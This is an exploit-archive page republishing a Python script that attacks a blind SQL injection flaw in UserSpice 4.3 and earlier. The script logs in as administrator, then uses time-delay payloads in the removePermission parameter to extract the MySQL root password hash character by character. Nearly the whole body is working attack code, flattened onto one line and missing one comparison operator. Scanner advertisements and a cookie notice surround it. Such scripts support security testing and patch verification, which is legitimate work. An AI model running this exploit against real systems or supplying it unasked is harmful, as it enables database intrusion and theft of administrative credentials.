userspice 4.3 blind sql injection

▸▸▸ Exploit & Vulnerability >>   webapps exploit & php vulnerability




userspice 4.3 blind sql injection Code Code...
				
#!/usr/env/python """ Application UserSpice PHP user management Vulnerability UserSpice <= 4.3 Blind SQL Injection exploit URL https://userspice.com Date 1.2.2018 Author Dolev Farhi About the App: What makes userspice different from almost any other PHP User Management Framework is that it has been designed from the beginning to get out of your way so you can spend your time working on your project About the vulnerability: Unsanitized input passed to removePermission parameter. """ import requests import string import sys from bs4 import BeautifulSoup userspice_host = '10.0.0.16' userspice_user = 'admin' userspice_pass = 'password' userspice_login_url = 'http://%s//users/login.php' % userspice_host userspice_vuln_url = 'http://%s/users/admin_page.php?id=75' % userspice_host guess_chars = string.ascii_lowercase + string.ascii_uppercase + string.digits + string.punctuation banner = """ ------------------------------------------------------- | userSpice <= 4.3 Blind SQL Injection Vulnerability" | ------------------------------------------------------- """ login_data = { 'dest':'', 'username':userspice_user, 'password':userspice_pass } payload = { 'process':'1', 'removePermission[]':'1', 'private':'Yes', 'changeTitle':'' } s = requests.session() def getCSRF(url): req = s.get(url).text soup = BeautifulSoup(req, "lxml") csrf = soup.find('input', {"name" : "csrf"}) csrf_token = csrf['value'] return csrf_token login_data_csrf = getCSRF(userspice_login_url) login_data['csrf'] = login_data_csrf req = s.post(userspice_login_url, data=login_data) if 'login failed' in req.text.lower(): print('Login failed, check username/password') sys.exit(1) payload_data_csrf = getCSRF(userspice_vuln_url) payload['csrf'] = payload_data_csrf print(banner) print('[+] Running...') print('[+] Obtaining MySQL root hash... this may take some time.') password = "" for i in range(0, 61): for c in guess_chars: payload_data_csrf = getCSRF(userspice_vuln_url) payload['csrf'] = payload_data_csrf injection = "5); SELECT 1 UNION SELECT IF(BINARY SUBSTRING(password,{0},1)='{1}',BENCHMARK(3000000,SHA1(1)),0) Password FROM mysql.user WHERE User = 'root'#;".format(i, c) payload['removePermission[]'] = injection req = s.post(userspice_vuln_url, data=payload).elapsed.total_seconds() if float(req) 0.6: password += c print('[+] %s' % password) else: pass print('done') sys.exit(0)


Last Vulnerability or Exploits

Developers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Easy integrations and simple setup help you start scanning in just some minutes
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Discover posible vulnerabilities before GO LIVE with your project
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Manage your reports without any restriction

Business Owners

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Obtain a quick overview of your website's security information
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Do an audit to find and close the high risk issues before having a real damage and increase the costs
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Verify if your developers served you a vulnerable project or not before you are paying
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Run periodically scan for vulnerabilities and get info when new issues are present.

Penetration Testers

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Quickly checking and discover issues to your clients
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Bypass your network restrictions and scan from our IP for relevant results
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Create credible proved the real risk of vulnerabilities

Everybody

Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check If you have an website and want you check the security of site you can use our products
Website Vulnerability Scanner - Online Tools for Web Vulnerabilities Check Scan your website from any device with internet connection

Tusted by
clients

 
  Our Cyber Security Web Test application uses Cookies. By using our Cyber Security Web Test application, you are agree that we will use this information. I Accept.